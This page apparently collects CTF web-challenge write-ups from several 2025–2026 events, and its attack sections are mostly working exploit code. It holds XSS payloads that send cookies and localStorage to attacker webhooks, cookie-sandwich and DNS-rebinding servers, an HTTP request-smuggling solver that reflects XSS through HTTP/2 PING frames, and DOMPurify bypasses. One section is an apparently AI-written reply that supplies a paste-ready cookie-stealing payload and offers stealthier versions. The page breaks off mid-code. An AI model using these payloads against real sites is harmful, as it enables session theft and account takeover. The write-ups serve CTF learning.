Skip to content

XSS

localhost.7chn.me -> 127.0.0.1foobar.n.7chn.me -> your serveri was definitely wrong. The A=>B->A (we abuse this relationship to cache our payload and trigger XSS) is strictly considered same site (htt...

Created

Updated

83 min read

Reading time

Share:

Tip: for Facebook and LinkedIn, use Copy first, then paste when the platform opens.

XSS

Skulpt JS XSS python js interprenter

Event NameLilac CTF 2026
GitHub URL-
Challenge Nameplayground
Attachments
References

explanation
  • 我这边现在连不上目标(curl http://1.95.117.187:8847/ 返回连接失败),所以没法直接帮你跑通全链路。不过我在本地分析前端 和 Skulpt 后找到了一个可用的 JS 执行漏洞,应该就是这题的解法:compile(source, filename, "exec") 的 filename 未做 JS 逃 逸,当运行时抛错进入 catch 分支时,会把 filename 拼进 JS 代码里,从而触发 JS 注入。
  • 核心思路

  • 用 compile(..., payload, "exec") 把 payload 放到 filename。
  • 让代码必然抛异常(比如 1/0),触发 catch,执行 JS。
  • JS 里把 cookie / localStorage 外带到你的 webhook。
  • 可直接粘贴的 Payload(把 URL 换成你的 webhook)

    你的接收地址(例如 https://webhook.site/xxxx)

    u = "https://your-webhook.site/xxxx"

    payload = """x' + ((new Image()).src="%s?d="+encodeURIComponent(document.cookie), 'y') + '""" % u exec(compile("1/0", payload, "exec"))

    扩展:同时带上 localStorage

    u = "https://your-webhook.site/xxxx" payload = """x' + (function(){var d=document.cookie; try{d+="|"+localStorage.getItem("flag")}catch(e){} new Image().src="%s?d="+encodeURIComponent(d);return 'y';})() + '""" % u exec(compile("1/0", payload, "exec"))

    使用方法

  • 打开页面,粘贴代码。
  • 点击 “share with bot”。
  • 等机器人访问后,你的 webhook 会收到请求,查看 d= 参数即可。
  • 注意

  • 代码会故意报错(这是触发 JS 的关键),是正常现象。
  • 如果 flag 在 cookie / localStorage,就能收到。
  • 如果 bot 现在不在线,就等它恢复后再试。
  • 需要我帮你把 payload 改成更隐蔽的(比如带上 document.body.innerText 或 localStorage 全量)也可以说。

    exploit
    payload = "aa' + (fetch('<http://r6ud98wu.instances.httpworkbench.com?c=>' + document.cookie), 'aa') + '"
    exec(compile("0/0", payload, "exec"))
    

    Cookie Sandwitch attack & Light DNS Rebinding attack

    Event Nameuoftctf 2026
    GitHub URL-
    Challenge NameUnrealistic Client-Side Challenge - Flag 1
    Attachments
    References

    Cookie sandwitch

    <script>
        const sleep = t => new Promise(r => setTimeout(r, t));
        (async ()=> {
            const token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIyIiwiaWF0IjoxNzY4MDE3MTEwLCJleHAiOjE3NjgwMjQzMTB9.VBd77rx24B8UxtfiMNVuZKfo2lB8_T5zo5zxReUYXdU";
            document.cookie=`session=${token};Domain=7chn.me;Path=/flag`;
            let w1 = open("<http://localhost.7chn.me:5000/flag>");
            document.cookie=`motd="%3Cimg%20src='//foobar.n.7chn.me/?v=;Domain=7chn.me;Path=/motd`;
            await sleep(1000);
            document.cookie=`z='%3E";Domain=7chn.me;Path=/`;
            w2 = open("<http://localhost.7chn.me:5000/motd>");
        })();
    </script>
    

    localhost.7chn.me -> 127.0.0.1

    foobar.n.7chn.me -> your server

    Light DNS Rebinding

    import subprocess
    import threading
    import time
    from flask import Flask, Response, request
    
    app = Flask(__name__)
    
    @app.get("/")
    def index():
        body = r"""<!doctype html>
    <meta charset="utf-8">
    <title>light rebind</title>
    <script>
    (() => {
      const sleep = (ms) => new Promise(r => setTimeout(r, ms));
    
      function postWindow(url, data, targetName) {
        const form = document.createElement("form");
        form.action = url;
        form.method = "POST";
        form.target = targetName;
        form.style.display = "none";
    
        for (const key in data) {
          const input = document.createElement("input");
          input.type = "hidden";
          input.name = key;
          input.value = data[key];
          form.appendChild(input);
        }
    
        document.body.appendChild(form);
        form.submit();
        document.body.removeChild(form);
      }
    
      const u = "u" + Math.random().toString(36).slice(2);
      const p = "p" + Math.random().toString(36).slice(2);
    
      async function attempt() {
        window.open("about:blank", "w1");
        await sleep(100);
        window.open("/cut", "w1");
    
        window.open("about:blank", "w2");
        await sleep(1000);
        postWindow("/register", { username: u, password: p }, "w2");
    
        window.open("about:blank", "w3");
        await sleep(500);
        postWindow("/login", { username: u, password: p }, "w3");
    
        window.open("about:blank", "w4");
        await sleep(500);
        window.open("/flag", "w4");
    
        // reset iptable and reset server here!
        window.open("about:blank", "w5");
        await sleep(3000);
        window.open("/steal", "w5");
    
        await sleep(5000);
      }
    
      attempt();
    })();
    </script>
    """
        resp = Response(body, mimetype="text/html")
        resp.headers["Connection"] = "close"
        return resp
    
    
    @app.get("/cut")
    def cut():
        def worker():
            try:
                subprocess.run(
                    ["bash","-lc", "sudo iptables -I INPUT 1 -p tcp --dport 5000 -j REJECT --reject-with tcp-reset"],
                    check=False
                )
                time.sleep(6)
            finally:
                subprocess.run(
                    ["bash","-lc", "sudo iptables -D INPUT 1"],
                    check=False
                )
        threading.Thread(target=worker, daemon=True).start()
        return ("cut", 200)
    
    
    @app.get("/steal")
    def steal():
        print("Cookie header =", request.headers.get("Cookie"))
        return ("steal", 200)
    
    if __name__ == "__main__":
        app.run(host="0.0.0.0", port=5000, debug=False, use_reloader=False)
    
    """
    - report url:
    http://127.0.0.1:5000@make-{my-ip}-and-127-0-0-1-rr.1u.ms:5000
    
    - session:
    session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMCIsImlhdCI6MTc2ODA1ODczNCwiZXhwIjoxNzY4MDY1OTM0LCJmbGFnIjoidW9mdGN0ZntoNHYzX3kwdXI1M2xmXzRfczRuZHcxY2h9In0.SC70s-ve8X44OuHcctrDAIEKjIqEA4LrBGjqxWuY1cw
    
    - flag
    uoftctf{h4v3_y0ur53lf_4_s4ndw1ch}
    
    3rd solve
    """
    for challenge v2
    import subprocess
    import threading
    import time
    from flask import Flask, Response, request
    
    app = Flask(__name__)
    
    @app.get("/")
    def index():
        body = r"""<!doctype html>
    <meta charset="utf-8">
    <title>light rebind</title>
    <script>
    (() => {
      const sleep = (ms) => new Promise(r => setTimeout(r, ms));
    
      async function attempt() {
        await sleep(100);
        window.open("/cut", "w1");
    
        await sleep(1000);
        await sleep(500);
        await sleep(500);
        window.win = window.open("/motd", "w4");
    
        // reset iptable and reset server here!
    
        await sleep(3000);
        window.open("/steal", "w5");
    
        await sleep(5000);
      }
    
      attempt();
    })();
    </script>
    """
        resp = Response(body, mimetype="text/html")
        resp.headers["Connection"] = "close"
        return resp
    
    
    @app.get("/cut")
    def cut():
        def worker():
            try:
                subprocess.run(
                    ["bash","-lc", "sudo iptables -I INPUT 1 -p tcp --dport 5001 -j REJECT --reject-with tcp-reset"],
                    check=False
                )
                time.sleep(6)
            finally:
                subprocess.run(
                    ["bash","-lc", "sudo iptables -D INPUT 1"],
                    check=False
                )
        threading.Thread(target=worker, daemon=True).start()
        return """
    <!DOCTYPE html>
    <html>
        <body>
            <script>
                const sleep = (ms) => new Promise(r => setTimeout(r, ms));
                (async () => {
                    while (true) {
                        await sleep(500);
                        console.log('checking...');
                        if (window.opener.window.win) {
                            console.log('win');
                            await sleep(1000);
                            navigator.sendBeacon('https://i07rtfvt.requestrepo.com', window.opener.window.win.document.body.innerHTML.toString())
                            break;
                        }
                    }
                })();
            </script>
        </body>
    </html>
    """
    
    
    @app.get("/steal")
    def steal():
        print("Cookie header =", request.headers.get("Cookie"))
        return ("steal", 200)
    
    # http://127.0.0.1:5000@make-95.216.145.211-and-127-0-0-1-rr.1u.ms:5001
    
    if __name__ == "__main__":
        app.run(host="0.0.0.0", port=5001, debug=False, use_reloader=False)

    Null initiator on disk cache to bypass single name domain.

    Event NameSECCON Quals 2025
    GitHub URL-
    Challenge Nameframed-xss
    Attachments
    References

    i was definitely wrong. The A=>B->A (we abuse this relationship to cache our payload and trigger XSS) is strictly considered same site (https://github.com/httpwg/http-extensions/issues/889#issuecomment-749824705) by chromium so the initiator doesn't matter; on the other side page.goto()'s initiator is null so the top-level navigation is also considered same-site (https://source.chromium.org/chromium/chromium/src/+/main:net/http/http_cache.cc;l=760;drc=5cd770be9d0f5ef818ec86cde38154f1786bdd0d - thanks <@151811111279132672> 🐐 )

    from flask import *
    
    app = Flask("x")
    
    REMOTE = "http://web:3000"
    PAYLOAD = "<svg/onload=alert(1)>"
    
    @app.after_request
    def add_headers(response):
        response.headers["Cache-Control"] = "no-store, no-cache"
        return response
    
    count = 0
    @app.get("/")
    def index():
        global count 
    
        count += 1 
        
        if count == 1:
            return """
    <script>
    const sleep = (ms) => new Promise(r => setTimeout(r, ms));
    async function exploit() {
        payload = `<svg/onload=alert(1)>`
        win = open("/redir?html=" + encodeURIComponent(payload), "_blank")
        await sleep(2000);
        location = URL.createObjectURL(new Blob([`
        <script>setTimeout(()=>history.back(),500)<\/script>
      `], { type: "text/html" }))
    }
    exploit();
    </script>
    """
        if  count == 2:
            return redirect(f"{REMOTE}/view?html={PAYLOAD}", 307)
        
        count = 0
        return "wtf"
    
    @app.get("/redir")
    def redir():
            return redirect(f"{REMOTE}/?html={PAYLOAD}", 307)
    
    app.run("0.0.0.0", 4444)
    another solver
    import fastify from "fastify";
    import assert from "node:assert/strict";
    
    const BOT_BASE_URL = process.env.BOT_BASE_URL ?? "http://localhost:1337";
    const CONNECTBACK_URL = process.env.CONNECTBACK_URL ?? assert.fail("No URL");
    const PORT = "8080";
    
    const app = fastify();
    
    const sleep = (ms) => new Promise((resolve) => setTimeout(resolve, ms));
    
    const reportUrl = (url) =>
      fetch(`${BOT_BASE_URL}/api/report`, {
        method: "POST",
        headers: {
          "Content-Type": "application/json",
        },
        body: JSON.stringify({ url }),
      }).then((r) => r.text());
    
    const html = `
    <script>navigator.sendBeacon("${CONNECTBACK_URL}/flag", document.cookie)</script>
    `.trim();
    
    let first = true;
    app.get("/", async (req, reply) => {
      // Trick to bypass `is-cross-site-main-frame-navigation`
      // ref. https://chromestatus.com/feature/5190577638080512
      if (first) {
        first = false;
        reply
          .type("text/html; charset=utf-8")
          .header("Cache-Control", "no-store")
          .send(`<script>open("/child?html=${encodeURIComponent(html)}")</script>`);
      } else {
        reply.redirect(`http://web:3000/view?html=${encodeURIComponent(html)}`);
      }
    });
    
    app.get("/child", async (req, reply) => {
      reply.type("text/html; charset=utf-8").send(
        `
          <script type="module">
            const sleep = (ms) => new Promise((resolve) => setTimeout(resolve, ms));
            const html = new URLSearchParams(location.search).get("html");
    
            await sleep(700);
            opener.location = "http://web:3000/?html=" + encodeURIComponent(html);
            await sleep(700);
            opener.location = "about:blank";
            await sleep(700);
            opener.history.go(-2);
          </script>
        `.trim()
      );
    });
    
    app.post("/flag", async (req, reply) => {
      // You got a flag!
      const flag = req.body;
      console.log({ flag });
      process.exit(0);
    });
    
    app.listen({ port: PORT, host: "0.0.0.0" }).then(async (address) => {
      await sleep(3_000);
      await reportUrl(CONNECTBACK_URL);
      assert.fail("Failed");
    });

    Bypassing the JSON Import (The "Hook")

    Event NameSECCON Quals 2025
    GitHub URL-
    Challenge Namedummyhole
    Attachments
    References

    if (!file.mimetype || (!file.mimetype.startsWith('image/png') && !file.mimetype.startsWith('image/jpeg'))) {
      return res.status(400).json({ error: 'Invalid file: must be png or jpeg' });
    }
    
    const postId = uuidv4();
    
    const command = new PutObjectCommand({
      Bucket: BUCKET,
      Key: postId,
      Body: file.buffer,
      ContentType: file.mimetype,
    });
    writeup

    First step is to bypass the iframe checks to control the src of the iframe. The site does import(\/api/posts/${postId}`, { with: { type: "json" } }); where we control postId so we can client-side path traversal to point to any URL on the site. If we can then upload arbitrary JSON onto the site then we can control postData`.

    We can upload a file with an arbitrary content-type header but it must start with image/jpg or image/png. If we use one of these content-types the import won’t work. But we can bypass the JSON check by using mimetype image/png+json , and then use client-side path traversal to import our uploaded JSON:

    import requests
    import secrets
    import json
    
    TARGET = "http://dummyhole.seccon.games"
    
    username, password = secrets.token_hex(16), secrets.token_hex(16)
    s = requests.Session()
    
    r = s.post(f"{TARGET}/register", data={"username": username, "password": password})
    print(r.text)
    
    r = s.post(f"{TARGET}/login", data={"username": username, "password": password})
    print(r.text)
    
    session_id = r.cookies.get("session")
    print(session_id)
    
    r = s.post(f"{TARGET}/upload", data={"title[default]": "abc", "description": "def"}, files={"image": (
        "test.png", json.dumps({"title": "abc", "description": "def", "image_url": ".toilet322.messwithdns.com"}), "image/png+json"
    )})
    
    data = r.json()
    img_id = data["id"]
    print(img_id)
    
    print(f"{TARGET}/posts/?id=../../images/{img_id}")
    print(f"../../images/{img_id}")

    Now that we control image_url , the iframe src is set to ${location.origin}${postData.default.image_url} . location.origin does not have a slash so we can use @ or . to point the iframe src to any domain that we want, including our own.

    Next we want to get XSS on the site. There’s a fallback system in the logout that we can abuse:

    app.post('/logout', requireAuth, (req, res) => {
      const sessionId = req.cookies.session;
      sessions.delete(sessionId);
      res.clearCookie('session');
    
      const post_id = req.body.post_id?.length <= 128 ? req.body.post_id : '';
      const fallback_url = req.body.fallback_url?.length <= 128 ? req.body.fallback_url : '';
    
      const logoutPage = path.join(__dirname, 'public', 'logout.html');
      const logoutPageContent = fs.readFileSync(logoutPage, 'utf-8')
        .replace('<POST_ID>', encodeURIComponent(post_id))
        .replace('<FALLBACK_URL>', encodeURIComponent(fallback_url));
    
      res.send(logoutPageContent);
    });
    <script>
      setTimeout(() => {
        const fallbackUrl = decodeURIComponent("<FALLBACK_URL>");
        if(!fallbackUrl) {
          location.href = "/";
          return;
        }
        location.href = fallbackUrl;
      }, 5000);
      const postId = decodeURIComponent("<POST_ID>");
      location.href = postId ? `/posts/?id=${postId}` : "/";
    </script>

    We can make a POST request with fallback_url = javascript:.... But there are two requirements to exploit this:

  • user needs to be logged in (requireAuth)
  • somehow the initial location.href to /posts/?id=${postId} needs to fail
  • This is probably a cheese but we bypass the first requirement by opening a new tab from our iframe, and then doing a <form> POST using LAX+POST to /logout, since the admin bot visits our site logged in.

    Then we bypass the second requirement by stalling the request using the connection pool (see dicectf burnbin):

    <!DOCTYPE html>
    <html>
    <body>
      <form method="POST" action="http://web/logout" target="x">
        <input name="fallback_url" value="javascript:window.opener.postMessage({cookie:document.cookie},'*')">
        <input name="post_id" value="a">
      </form>
      <script>
        const controllers = [];
    
        const next = (() => {
          let i = 0;
          return () => `http://${i++}.sleepserver.com/block/${i}`;
        })();
    
        const block = () => {
          const url = next();
          const controller = new AbortController();
          controllers.push(controller);
          fetch(url, { signal: controller.signal });
        };
    
        const unblockOne = () => {
          const controller = controllers.shift();
          controller.abort();
        };
    
        const unblock = () => {
          controllers.forEach(controller => controller.abort());
          controllers.length = 0;
        };
    
        const reblock = () => {
          unblockOne();
          block();
        };
    
        const start = async () => {
          for (let i = 0; i < 256; i++) block();
          await new Promise(r => setTimeout(r, 1000));
          document.querySelector('form').submit();
          await new Promise(r => setTimeout(r, 1000));
          reblock();
          window.onmessage = (e) => {
            if (e.data.cookie) {
              unblock();
              navigator.sendBeacon('//leakbin', JSON.stringify(e.data));
            }
          }
        };
        start();
      </script>
    </body>
    </html>

    The above exploit stalls all 256 sockets for the connection pool. Then it submits the <form> to /logout. We quickly unblock and block another socket so just the request to /logout goes through, but not the postid navigation. Since this navigation stalls, after 5 seconds pass, the fallback code triggers, using our javascript redirect and giving us XSS to leak the cookie.

    Gain XSS using Embed tag + Code attribute

    Event NameAmateurs CTF 2025
    GitHub URL-
    Challenge NameBlessed
    Attachments
    References

    author solve

    my solve for blessed:

    <embed code="http&#x73;:&#121;&#111;&#117;&#114;&period;&#119;&#101;&#98;&#104;&#111;&#111;&#107;" type="text/ht ml"></embed>
    

    and host is just

    <script>
      fetch('<http://127.0.0.1:20070/flag>')
        .then(r => r.text())
        .then(flag => {return fetch('<https://my-webhook>' + btoa(flag))})
    </script>
    

    code is a weird feature exsit in chromium and not documented at all https://source.chromium.org/chromium/chromium/src/+/main:third_party/blink/renderer/core/html/html_embed_element.cc;l=107

    multi-step Request Smuggling attack combined with an HTTP/2 PING frame reflection to achieve a Cross-Site Scripting (XSS)

    Event NameINFOBAHN CTF 2025
    GitHub URL-
    Challenge NameLogo
    Attachments
    References

    writeup

    Description

    This is our logo

    Hints

    Hint1

    Trying to bypass Basic Auth?? → READ THE CHALLENGE DESCRIPTION!!!!!!!!!!!!!!!!!!!!! I hope you’ve already seen my bug report. We don’t see Quart/Hypercorn very often in CTFs, right? How do they differ from Flask/Werkzeug (Gunicorn)?

    Hint2

    lmao lmao lmao

    Writeup

    Step 1: Request smuggling

    This is a 1-day challenge based on the vulnerability for Vibe.d I reported. The HTTP parser used in Vibe.d has a vulnerability which prioritizes Content-Length header over Transfer-Encoding header, which is against RFC 9112 § 6.3. This causes request smuggling when Vibe.d is used as a proxy. (If you are not familiar with request smuggling, you should checkout this blog and video.)

    The POC in the github advisories looks like this.

    GET / HTTP/1.1
    Host: localhost
    Content-Length: 65
    Transfer-Encoding: x, chunked
    
    0
    
    GET /secret HTTP/1.1
    Host: localhost
    Content-Length: 0
    

    This doesn't work in this challenge, so we need to understand how the request smuggling works, especially Transfer-Encoding: x, chunked part.

    When you send a request to Vibe.d proxy, the server first parses the HTTP, then sends the request using the HTTPClient class. All headers in the original request will be directly passed to the client. The client determines the streaming method based on these headers; if the Transfer-Encoding header is chunked, it uses the chunked stream, and send directly otherwise.

    In order for the request smuggling work, we want to send Transfer-Encoding header which will be recognized as a chunked stream by the backend, but we want the client to send the stream directly at the same time.

    In the POC, the value x, chunked worked because the client uses the chunked stream only if it matches chunked exactly (see source code), while hyper accepts comma-separated values. However, Hypercorn sends 501 Not Implemented if it sees the value isn't exactly chunked, so this doesn't work.

    The workaround is that Hypercorn (or h11) parses the Transfer-Encoding header case-insensitively, while Vibe.d doesn't. Hence, the header value like Chunked will make Vibe.d to send the request body in normal steam, while parsed as chunked stream in Hypercorn.

    Step 2: Sending smuggled response to the bot.

    So how does this relate to XSS exploitation of the bot? The secret is actually written in the GitHub advisory:

    vibe.http.proxy attempts to reuse the same backend connection when possible, even if the original request was made by a different client. Thus, the response to a smuggled request may be delivered to a different user. This can lead to session fixation, malicious redirects to phishing pages, or the escalation of Self-XSS into Stored-XSS.

    Which means we can change the response to the bot in the following steps:

  • Send a smuggled request that will be treated as 1 request in the proxy but 2 in the backend.
  • The backend respond with 2 requests, and the first response will be sent as a response for the request in step 1.
  • The bot make a request to the proxy.
  • If the proxy reuses the connection from step 1, the second response from the backend server at step 1 will be used as a response for step 3.
  • Step 3: Making use of HEAD request

    Breaking the response for the bot sounds like progress, but the backend server only have one route /, and we can't control the response body from the backend.

    But what if we could make the entire TCP stream as the response body? That doesn't immediately make an XSS payload, but there will be more room to research, right?

    We can actually achieve this by sending HEAD request. When you send HEAD request to a server, the server returns the Content-Length of the corresponding GET response, but does not return a body. We can make use of this as follows:

  • Send a smuggled request that will be treated as 1 request in the proxy but by the backend it is treated as the following requests:
    1. (Part A) Normal GET request
    2. (Part B) HEAD request to /
    3. (Part C) A request (or requests) that contains XSS payload in its TCP stream (not necessarily a response body).
  • The backend responds with multiple requests, and the response for Part A will be sent as a response for the request in step 1.
  • The bot make a request to the proxy.
  • If the proxy reuses the connection from step 1, the response from Part B will be used as the response for step 3. The response for Part B will have Content-Length header without response body, but the proxy expects a response body because the request for step 3 is a GET request. Consequently, the proxy treats the response for Part C as it's response body.
  • Step 4: Making use of HTTP/2

    We can now include the whole TCP stream as a response body. For example, if we can include an XSS payload in a response header, then it will be parsed as a response body instead and causes XSS. Unfortunately, we can hardly control the response header in Hypercorn either.

    If we can't find a gadget using HTTP/1.1, what about HTTP/2? Hypercorn supports HTTP/2 natively, and supports HTTP/2 with Prior Knowledge as well. This is, when you send the following request to the server:

    PRI * HTTP/2.0
    
    SM
    
    

    the following request will be treated as HTTP/2. Surprisingly, this can be done even if HTTP/1.1 requests were sent beforehand in the same TCP connection. (I'm not sure if this behavior in Hypercorn should be considered as a bug, vulnerability or just a design.)

    Then, we can use PING frame:

    In addition to the frame header, PING frames MUST contain 8 octets of opaque data in the frame payload. A sender can include any value it chooses and use those octets in any fashion. Receivers of a PING frame that does not include an ACK flag MUST send a PING frame with the ACK flag set in response, with an identical frame payload.

    Which means, if we send <script> in the frame payload, the server will respond with <script> in frame payload as well. The whole response frame looks like:

    \\x00\\x00\\x08\\x06\\x01\\x00\\x00\\x00\\x00<script>
    

    Then, it will be parsed as HTML thanks to Step 3.

    Step 5: XSS puzzle

    We can somewhat control the response body now, but we only have 8 bytes. We can send multiple PING frames, but junk (\\x00\\x00\\x08\\x06\\x01\\x00\\x00\\x00\\x00) will be inserted between each 8 bytes. Can we make XSS payload in this condition?

    <script> tag doesn't work because the closing tag </script> contains 9 bytes, and we cannot modify this. If we are going to use DOM event, we need the length of the event name to be less than 6 because onXXX=\` is 8 bytes.

    Looking at the PortSwigger XSS cheat sheet to find such event, we can see that there's 2 of such events, which is onend and oncut. oncut requires user interaction, so we can't use it here. onend event with <set> tag looks like this in the cheat sheet:

    <svg><set onend=alert(1) attributename=x dur=1s>
    

    Fortunately, it looks like we don't need attributename attribute for this to work, so the attribute that we need is dur=1s. All <svg>, <set , dur=1s is under 8 bytes, so we can use this.

    Lastly, make sure that the junks are between /*...*/ or \...`` in javascript so that it doesn't raise error. The payload will look like the following:

    ATTACKER_WEBHOOK = "..."
    payload = f"document.location.assign(`{ATTACKER_WEBHOOK}?`+document.cookie)"
    payloads = [
        b"<svg>   ",
        b"<set    ",
        b" dur=1s ",
        b" onend=`",
        b"`;e=/*..",
        b"*/eval/*",
        b"*/;e(/*.",
        *[f"*/'{p}'+/*".encode() for p in payload],
        b"*/''/*..",
        b"*/) >"
    ]
    

    Final payload

    See solver.py

    solver
    from pwn import *
    from hpack import Encoder
    import requests
    from hyperframe import frame
    import base64
    
    BOT_URL = "http://84fd9a34bfcf4cd2a3d21aa65d4316e11.logo.infobahnc.tf:8000/"
    PROXY_HOST = "logo.infobahnc.tf"
    PROXY_PORT = 20002
    PROXY_USERNAME = "logo"
    PROXY_PASSWORD = "84fd9a34bfcf4cd2a3d21aa65d4316e1"
    ATTACKER_WEBHOOK = "http://n.regularofvanilla.com/"
    
    io = remote(PROXY_HOST, PROXY_PORT)
    
    settings_stream = frame.SettingsFrame(0, {
        frame.SettingsFrame.MAX_CONCURRENT_STREAMS: 100,
        frame.SettingsFrame.INITIAL_WINDOW_SIZE: 0x10000,
        frame.SettingsFrame.ENABLE_PUSH: 0
    }).serialize()
    
    h2_payload = (
        b"PRI * HTTP/2.0\r\n\r\nSM\r\n\r\n" + # Magic
        settings_stream
    )
    
    payload = f"document.location.assign(`{ATTACKER_WEBHOOK}?`+document.cookie)"
    payloads = [
        b"<svg>   ",
        b"<set    ",
        b" dur=1s ",
        b" onend=`",
        b"`;e=/*..",
        b"*/eval/*",
        b"*/;e(/*.",
        *[f"*/'{p}'+/*".encode() for p in payload],
        b"*/''/*..",
        b"*/) >   "
    ]
    
    for payload in payloads:
        h2_payload += frame.PingFrame(0, payload).serialize()
    
    enc = Encoder()
    headers = [
        (':method', 'GET'),
        (':scheme', 'https'),
        (':path', f'/'),
        (':authority', 'example.com')
    ]
    encoded = enc.encode(headers)
    headers_stream = frame.HeadersFrame(1, encoded)
    headers_stream.flags.add("END_STREAM")
    headers_stream.flags.add("END_HEADERS")
    
    h2_payload += headers_stream.serialize()
    
    smuggled = f"""
    HEAD / HTTP/1.1
    Host: example.com
    Content-Length: 0
    """.strip().replace("\n", "\r\n").encode() + b"\r\n\r\n" + h2_payload
    
    io.send((f"""
    GET /aaa HTTP/1.1
    Host: example.com
    Content-Length: {len(smuggled) + 5}
    Transfer-Encoding: Chunked
    Authorization: Basic {base64.b64encode(f'{PROXY_USERNAME}:{PROXY_PASSWORD}'.encode()).decode()}
    
    0
    
    %s
    """.strip().replace("\n", "\r\n")).encode() % smuggled)
    
    print(io.recvall(timeout=3))
    
    requests.post(BOT_URL)

    Changing a bit of dompurifed text after sanitize can break the sanitize text

    Event NameINFOBAHN CTF 2025
    GitHub URL-
    Challenge NameSandbox Viewer
    Attachments
    References

    source
    app.get( "/translate", async (req, res ) => {
      let text = req.query.txt ?? 'Say something!';
    
      const window = new JSDOM('').window;
      const dp = DOMPurify(window);
      // Don't be naughty
      text = dp.sanitize(text);
      console.log("sanitized");
      console.log(text);
    
      text = text.toUpperCase();
      console.log(text);
      text = text.replace( /\BA/g, '4' );
      text = text.replace( /\BB/g, 'I3' );
      text = text.replace( /\BE/g, '3' );
      text = text.replace( /\BH/g, '\\-\\' );
      text = text.replace( /\BL/g, '7' );
      text = text.replace( /\BO/g, '0' );
      text = text.replace( /\BS/g, '5' );
      text = text.replace( /\BU/g, 'v' );
      text = text.replace( /\BW/g, 'vv' );
      console.log(text);
    
      res.status(200).send( `
    <!doctype html><html><head>
    <meta charset="UTF-8">
    <title>Your message</title>
    <style> html { background: black; color: #0b0; color-scheme: dark } </style>
    <body>
    <h1>MSG</h1>
    <div style="padding:1em; margin:1em; border: thin dashed blue; font-family: monospace">
    ${text}
    </div>
    </body>
    </html>
    `); 
    } );
    
    solution

    x<style><ß p="</style><p name="><script src='http://1pc.tf'></script>">

    changing something in the dompurify after processing it can lead to xss

    bot-1  | Listening on port 1337
    bot-1  | sanitized
    bot-1  | x<style><ß p="</style><p name="><script src='http://1pc.tf'></script>">
    bot-1  | </p>
    bot-1  | X<STYLE><SS P="</STYLE><P NAME="><SCRIPT SRC='HTTP://1PC.TF'></SCRIPT>">
    bot-1  | </P>
    bot-1  | X<STY73><S5 P="</STY73><P N4M3="><SCRIPT SRC='HTTP://1PC.TF'></SCRIPT>">
    bot-1  | </P>
    

    Cloudflare blocking technique with referrerpolicy="unsafe-url"

    Event NameINFOBAHN CTF 2025
    GitHub URL-
    Challenge NameSandbox Viewer
    Attachments
    References

    source code
    <!DOCTYPE html>
    <html>
    
    <head>
        <meta charset="utf-8">
        <title>Sandbox Viewer</title>
        <meta name="viewport" content="width=device-width, initial-scale=1">
        <style>
            :root {
                color-scheme: dark;
            }
    
            html,
            body {
                margin: 0;
                padding: 0;
                height: 100%;
            }
    
            body {
                background: linear-gradient(to top, #60efff 0%, #1976d2 50%, #0061ff 100%);
                color: #f0f0f0;
                font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Arial, sans-serif;
                line-height: 1.5;
                min-height: 100vh;
                display: flex;
                flex-direction: column;
                align-items: center;
            }
    
            h1 {
                margin-top: 100px;
                margin-bottom: 40px;
                font-size: 48px;
                color: #ffffff;
                text-shadow: 0 4px 8px rgba(0, 0, 0, 0.4);
                text-align: center;
                font-weight: 600;
            }
    
            main {
                max-width: 800px;
                width: 100%;
                padding: 16px;
                background-color: rgba(255, 255, 255, 0.1);
                border-radius: 8px;
                backdrop-filter: blur(10px);
                border: 1px solid rgba(255, 255, 255, 0.2);
            }
    
            #safe {
                display: block;
                width: 90%;
                max-width: 800px;
                height: 400px;
                margin: 20px 0;
                border: 2px solid rgba(255, 255, 255, 0.3);
                border-radius: 8px;
                background-color: white;
                box-shadow: 0 4px 6px rgba(0, 0, 0, 0.3);
                z-index: 100;
            }
    
            a {
                color: #9bd;
                text-decoration: none;
            }
    
            a:hover {
                text-decoration: underline;
            }
    
            footer {
                text-align: center;
                color: #ddd;
                font-size: 12px;
                padding: 12px 0 24px;
                text-shadow: 0 1px 2px rgba(0, 0, 0, 0.3);
            }
    
            code {
                font-family: ui-monospace, "SFMono-Regular", Menlo, Consolas, "Liberation Mono", monospace;
                background-color: rgba(0, 0, 0, 0.4);
                padding: 2px 6px;
                border-radius: 4px;
                border: 1px solid rgba(255, 255, 255, 0.1);
            }
        </style>
    </head>
    
    <body>
        <h1>Sandbox Viewer</h1>
    
        <main>
    
        </main>
    
        <iframe id="safe" sandbox="allow-same-origin" srcdoc="<h1>Hello</h1>"></iframe>
        <script>
            let key = new URLSearchParams(location.search).get('key') || '';
            if (key.length > 200) {
                key = key.substring(0, 200);
            }
            let iframe = document.getElementById('safe');
            iframe.srcdoc = key;
            iframe.onload = () => {
                iframe.remove();
            }
            function appendUnsafe(param) {
                const d = document.createElement('div');
                d.innerHTML = param;
                document.body.appendChild(d);
            }
    
            const s = document.createElement('script');
            s.src = 'https://cdnjs.cloudflare.com/ajax/libs/dompurify/3.2.4/purify.min.js';
            s.referrerPolicy = 'no-referrer';
            setTimeout(() => {
                s.onload = () => {
                    if (window.DOMPurify) {
                        const clean = window.DOMPurify.sanitize(key);
                        appendUnsafe(clean);
                    }
                };
                s.onerror = () => {
                    appendUnsafe(key);
                };
                document.head.appendChild(s);
            }, 1000);
        </script>
    
    </body>
    
    solution
    <img src="https://cdnjs.cloudflare.com/ajax/libs/dompurify/3.2.4/purify.min.js" referrerpolicy="unsafe-url" onerror="alert(1)">

    when the first request fires it attaches the referer header which includes the xss payload, that gets caught by cloudflare - but it still caches that js file

    when it does the second request, it takes the script from disk cache, which is invalid, reaches onerror ..

    Image

    Still kind of half asleep, but tl;dr for xml-translate php doesnt handle quotes in attributes correctly in xml_default handler

    Event NameINFOBAHN CTF 2025
    GitHub URL-
    Challenge NameXML Translator
    Attachments
    References

    source code
    <?php
    
    if ( isset( $_REQUEST['xml'] ) ) {
    	header( 'Content-Type: application/xml; charset=UTF-8' );
    
    	$x = xml_parser_create_ns( 'utf-8' );
    	xml_set_default_handler( $x, function( $p, $data ) { echo $data; } );
    	xml_set_character_data_handler( $x, function( $parser, $data ) {
    		echo htmlspecialchars(
    			str_replace(
    				['E', 'K', 'C', 'A', 'S', 'I', 'M'],
    				[ '3', '>-', '<', '4', '5', '1', '/V\\' ],
    				strtoupper( $data )
        			)
      		);
     	});
    	xml_set_start_namespace_decl_handler( $x, function( $parser, $prefix, $uri ) {
    		die( "<!-- No namespaces allowed. Exiting -->" );
    	} );
